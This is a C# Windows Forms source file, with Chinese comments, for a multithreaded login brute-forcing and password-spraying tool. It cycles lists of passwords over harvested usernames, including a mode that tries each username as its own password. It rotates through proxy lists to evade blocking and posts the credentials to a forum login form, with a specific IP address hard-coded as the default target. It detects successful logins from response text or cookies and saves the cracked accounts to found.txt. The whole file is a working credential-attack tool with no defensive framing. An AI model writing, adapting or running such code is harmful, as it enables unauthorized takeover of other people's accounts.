﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Ession;
using System.Threading.Tasks;
using System.Net;
using System.Text.RegularExpressions;
using System.Threading;

namespace LoginWebUsingWebBrowser
{
    public partial class frmMain : Form
    {
        public frmMain()
        {
            InitializeComponent();
            File.AppendAllText("found.txt", "new run time:" + DateTime.Now.ToString() + "\r\n--------------\r\n");
            LoadPwds();
            HttpRequestSender.SetMaxConnection(200);
        }

        private void LoadPwds()
        {
            try
            {
                var s = File.ReadLines("pwds.txt");
                lbPwds.Items.Clear();
                lbPwds.Items.AddRange(s.ToArray());
            }
            catch (Exception ex)
            {

                MessageBox.Show(ex.ToString());

            }
        }
        void SavePwds()
        {
            try
            {
                File.Delete("pwds.txt");
                for (int i = 0; i < lbPwds.Items.Count; i++)
                {
                    File.AppendAllText("pwds.txt", lbPwds.Items[i].ToString() + Environment.NewLine);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());

            }

        }
        List<string> pwds = new List<string>();

        private string postUrl;


        private string currentPwd = "";
        private int maxTry = 5;//最大线程
        private string pageData;
        private int startIndex = 0;
        private bool useProxy = false;
        private string Format =
            "formhash=ca318417&referer=http%3A%2F%2F67.220.93.4%2Fbbs%2Findex.php&loginfield=username&username={0}&password={1}&questionid=0&answer=&cookietime=2592000&loginmode=&styleid=&loginsubmit=%CC%E1%BD%BB";
        Ession.HttpRequestSender ap = new HttpRequestSender();
        private string rexStr = "";
        private Regex UserRex;
        private void btnbutton1_Click_1(object sender, EventArgs e)
        {
            UseNot = chkcheckBox2.Checked;
            OnlyHeader = chkcheckBox1.Checked;
            encoding = txtCode.Text;
            pwds.Clear();
            foreach (var item in lbPwds.Items)
            {
                pwds.Add(item.ToString());
            }
            pwds.Add("self");
            maxTry = int.Parse(textBox1.Text);
            useProxy = chkUseProxy.Checked;
            Format = txtFormat.Text;
            startIndex = int.Parse(txtStart.Text);
            pro = txtP.Text;
            rexStr = txttextBox2.Text;//用户的regex
            if (!string.IsNullOrWhiteSpace(rexStr))
            {
                UserRex = new Regex(rexStr);
            }
            proxyaPth = txtProxy.Text;
            postUrl = txtURL.Text;
            succStr = File.ReadAllText("succStr.txt", Encoding.GetEncoding("GB2312"));
            failedStr = File.ReadAllText("failedStr.txt", Encoding.GetEncoding("GB2312"));
            contlength = long.Parse(File.ReadAllText("contentlength.txt"));
            statusCode = int.Parse(File.ReadAllText("status.txt"));

            Task.Factory.StartNew((Action)(() =>
                            {
                                using (StreamReader sr = new StreamReader(proxyaPth))//获取用户
                                {
                                    string data = sr.ReadLine();
                                    while (data != null)
                                    {
                                        if (!Users.Contains(data))
                                        {
                                            Users.Add(data);
                                        }
                                        data = sr.ReadLine();
                                    }
                                }

                                //    currentUserIndex = startIndex;

                                //    for (int i = 0; i < Users.Count; i++)//以用户循环,每个用户使用代理(一次一个密码)
                                //    {
                                //        for (int j = i % Proxyes.Count; j < Proxyes.Count; j++)
                                //        {
                                //            this.BeginInvoke(
                                //    (Action<int>)((s) =>
                                //                {
                                //                    lbStatus.Text =
                                //                        string.Format("使用代理数共{0},当前用户{1},共{2}",
                                //                        Proxyes.Count, currentUserIndex, Users.Count);
                                //                }), i
                                //    );
                                //            WebProxy py = new WebProxy();
                                //            py.Address = new Uri("http://" + Proxyes[j]);
                                //            var result = PostData(Users[i], Users[i], py);
                                //            currentUserIndex = i;

                                //            if (result.HasValue)//访问成功
                                //            {
                                //                if (result.Value)
                                //                {
                                //                    File.AppendAllText("found.txt", Users[i]);
                                //                }

                                //                currentUserIndex++;
                                //                break;
                                //            }
                                //        }

                                //    }


                                //}

                                //else//不使用代理
                                //{

                                if (useProxy)
                                {
                                    Proxyes.Clear();
                                    using (StreamReader sr = new StreamReader(pro)) //获取代理
                                    {
                                        Regex reg =
                                            new Regex(
                                                @"((25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)\.){3}(25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)");
                                        string data = sr.ReadToEnd();
                                        var mc = reg.Matches(data);
                                        for (int i = 0; i < mc.Count; i++)
                                        {
                                            if (!Proxyes.Contains(mc[i].ToString()))
                                            {
                                                Proxyes.Add(mc[i].ToString());
                                            }
                                        }
                                    }
                                }
                                for (int k = 0; k < pwds.Count; k++)//每个密码
                                {
                                    currentPwd = pwds[k];
                                    if (string.IsNullOrEmpty(currentPwd))
                                    {
                                        continue;
                                    }
                                    for (int i = 0; i < Users.Count; i += maxTry)
                                    {
                                        currentUserIndex = i;
                                        this.BeginInvoke(
                                  (Action<int>)((s) =>
                                              {
                                                  lbStatus.Text =
                                                      string.Format("当前用户{0},共{1},已找到{2},访问出错{3},当前密码{4}",
                                                    currentUserIndex, Users.Count, foundUser, errorCount, currentPwd);
                                              }), i
                                  );

                                        Task[] tas = new Task[maxTry];


                                        for (int j = 0; j < tas.Length && i + j < Users.Count; j++)
                                        {
                                            UserInfo user;
                                            string userTmp = "";
                                            if (!string.IsNullOrWhiteSpace(rexStr))//采用了正则,提取用户名
                                            {
                                                var mc = UserRex.Match(Users[i + j]);
                                                try
                                                {
                                                    userTmp = mc.Groups["uid"].Value;
                                                }
                                                catch (Exception)
                                                {

                                                }

                                            }
                                            else
                                            {
                                                userTmp = Users[i + j];
                                            }
                                            user = new UserInfo(-1, userTmp, currentPwd, Users[i + j]);
                                            if (user.Pwd == "self")
                                            {
                                                user.Pwd = user.UserNmae;
                                            }


                                            tas[j] = Task.Factory.StartNew(
                                                            u =>
                                                            {
                                                                Visit(u);
                                                                currentUserIndex++;
                                                            }, user
                                                                );
                                        }
                                        List<Task> l = new List<Task>();
                                        foreach (var task in tas)
                                        {
                                            if (task != null)
                                            {
                                                l.Add(task);
                                            }
                                        }
                                        Task.WaitAll(l.ToArray());

                                    }

                                }
                                MessageBox.Show("done" + "," + currentUserIndex);
                            }

                            ));
        }
        object errorLock = new object();
        object indexLock = new object();
        private int proxyIndex = 0;
        private string encoding="gb2312";
        void Visit(object u)
        {
            var s = u as UserInfo;
            bool? result;
            WebProxy py = new WebProxy();
            if (useProxy)//使用代理
            {
                lock (indexLock)
                {
                    py.Address = new Uri("http://" + Proxyes[proxyIndex % Proxyes.Count]);
                    proxyIndex++;
                }

            }
            result = PostData(s.UserNmae, s.Pwd,encoding, py);
            try
            {
                if (result.HasValue)//访问成功
                {
                    if (result.Value)
                    {
                        foundUser++;
                        ap = new HttpRequestSender();
                        try
                        {
                            File.AppendAllText("found.txt", "\r\n" + s.UserNmae + "," + s.Pwd + "," + s.OtherInfo);
                        }
                        catch (Exception ex)
                        {
                            File.AppendAllText("found2.txt", "\r\n" + s.UserNmae + "," + s.Pwd + "," + s.OtherInfo);

                        }
                    }
                }
                else
                {
                    errorCount++;
                    lock (errorLock)
                    {
                        File.AppendAllText("error.txt", "\r\n" + s.UserNmae);
                    }

                }
            }
            catch (Exception)
            {


            }


        }

        private int pageCount;
        private int errorCount;
        private int foundUser;
        private List<string> Proxyes = new List<string>();
        private List<string> Users = new List<string>();
        private int currentUserIndex = 0;
        private string succStr;
        private string failedStr;

        private bool UseNot = false;
        private bool OnlyHeader;
        private bool? PostData(string userName, string pwd,string encoding="gb2312", IWebProxy proxy = null)
        {
            string postData = string.Format(Format, userName, pwd);

            // pageData = ap.GetHtml(postUrl);
            try
            {
                // ap=new HttpRequestSender();

                if (OnlyHeader)
                {
                    if (UseNot)//反向
                    {
                        return ap.PostData(postUrl,
              postData, Encoding.GetEncoding(encoding), "Set-Cookie",
              (f) =>
              {
                  if (f.Contains(failedStr))
                  {
                      return true;
                  }
                  return false;

              }

              , 10000, proxy);
                    }
                    else
                    {
                        return ap.PostData(postUrl,
                    postData, Encoding.GetEncoding(encoding), "Set-Cookie",
                    (f) =>
                    {
                        if (f.Contains(succStr))
                        {
                            return true;
                        }
                        return false;
                        //if (f.Contains(succStr) || statusCode == statusC || contentLength == contlength)
                        //{
                        //    return true;
                        //}
                        //return false;
                    }

                    , 10000, proxy);
                    }

                }
                else//根据返回的网页数据
                {

                    pageCount++;

                    if (UseNot)//反向
                    {
                        return ap.PostData(postUrl,
                 postData, Encoding.GetEncoding(encoding),
                 (f, l, j) =>
                 {
                     if ((pageCount - 1) % 10 == 0)
                     {
                         this.BeginInvoke(
                            (Action)(() =>
                            {
                                webBrowser1.DocumentText = f;
                            })
                                );
                     }
                     if (f.Contains(failedStr))
                     {
                         return true;
                     }
                     return false;

                 }

                 , 10000, proxy);
                    }

                    return ap.PostData(postUrl,
                   postData, Encoding.GetEncoding(encoding),
                   (f, l, j) =>
                   {
                       if ((pageCount - 1) % 10 == 0)
                       {
                           this.BeginInvoke(
                           (Action)(()=>
                           {
                               webBrowser1.DocumentText = f;
                           })
                               );
                        
                       }
                       if (f.Contains(succStr))
                       {
                           return true;
                       }
                       return false;

                   }, 10000, proxy);

                }

            }
            catch (Exception ex)
            {
                return null;
            }
        }
        private string PostData(string userName, IWebProxy proxy)
        {
            string postData = string.Format(Format, userName, userName);

            try
            {
                return ap.PostData(postUrl,
                         postData, Encoding.GetEncoding("gb2312")

                         , 10000, proxy);
            }
            catch (Exception ex)
            {
                return null;
            }
        }
        private void btnbutton2_Click(object sender, EventArgs e)
        {
            if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                txtProxy.Text = openFileDialog1.FileName;
            }
        }

        private int tryCount;
        private string proxyaPth;
        private void webBrowser1_Navigated(object sender, WebBrowserNavigatedEventArgs e)
        {

        }

        private void btn_Click(object sender, EventArgs e)
        {
            frmCrawler f = new frmCrawler();
            f.Show();
        }

        private string pro;
        private void button1_Click(object sender, EventArgs e)
        {
            if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                txtP.Text = openFileDialog1.FileName;
            }
        }

        private void frmMain_FormClosing(object sender, FormClosingEventArgs e)
        {

            Properties.Settings.Default.Save();
            try
            {
                using (StreamWriter sw = new StreamWriter(new FileStream(proxyaPth + "used.txt", FileMode.Append)))
                {
                    for (int i = 0; i < currentUserIndex - 1; i++)
                    {
                        sw.WriteLine(Users[i]);
                    }
                    sw.Flush();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }

            //try
            //{
            //    Users.RemoveRange(0, currentUserIndex - 1);
            //    File.Delete(proxyaPth);
            //    File.WriteAllLines(proxyaPth, Users);
            //}
            //catch (Exception ex)
            //{
            //    MessageBox.Show(ex.ToString());
            //}

            try//保存密码
            {
                SavePwds();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());


            }
        }

        private void frmMain_Load(object sender, EventArgs e)
        {

        }

        private void btnAddPwd_Click(object sender, EventArgs e)
        {
            if (!string.IsNullOrEmpty(txtPwd.Text))
            {
                lbPwds.Items.Add(txtPwd.Text);
                txtPwd.Text = "";
            }

        }

        private void lbPwds_MouseDoubleClick(object sender, MouseEventArgs e)
        {

        }

        private void lbPwds_SelectedIndexChanged(object sender, EventArgs e)
        {
            if (lbPwds.SelectedItem != null)
            {
                txtPwd.Text = lbPwds.SelectedItem.ToString();
            }

        }

        private int selectedIndex;
        private long contlength;
        private int statusCode;

        private void button2_Click(object sender, EventArgs e)
        {
            if (lbPwds.SelectedItem != null)
            {
                lbPwds.Items[lbPwds.SelectedIndex] = txtPwd.Text;
            }
        }

        private void button3_Click(object sender, EventArgs e)
        {
            lbPwds.Items.RemoveAt(lbPwds.SelectedIndex);
        }

        private void btnbutton4_Click(object sender, EventArgs e)
        {
            pro = txtP.Text;

            using (StreamReader sr = new StreamReader(pro)) //获取代理
            {
                Regex reg =
                    new Regex(
                        @"((25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)\.){3}(25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)");
                string data = sr.ReadToEnd();
                var mc = reg.Matches(data);
                for (int i = 0; i < mc.Count; i++)
                {
                    if (!Proxyes.Contains(mc[i].ToString()))
                    {
                        Proxyes.Add(mc[i].ToString());
                    }
                }
            }

            frmProxy f = new frmProxy();
            f.ProxyList = Proxyes;
            f.Show();
            f.SetProxy();
        }

        private void btnbutton3_Click(object sender, EventArgs e)
        {
            frmUser fu=new frmUser();
            fu.Show();
            fu.Closed += new EventHandler(fu_Closed);
        }

        void fu_Closed(object sender, EventArgs e)
        {
            var f = sender as frmUser;
            File.AppendAllLines(txtProxy.Text, f.Users);
        }

     
    }
}
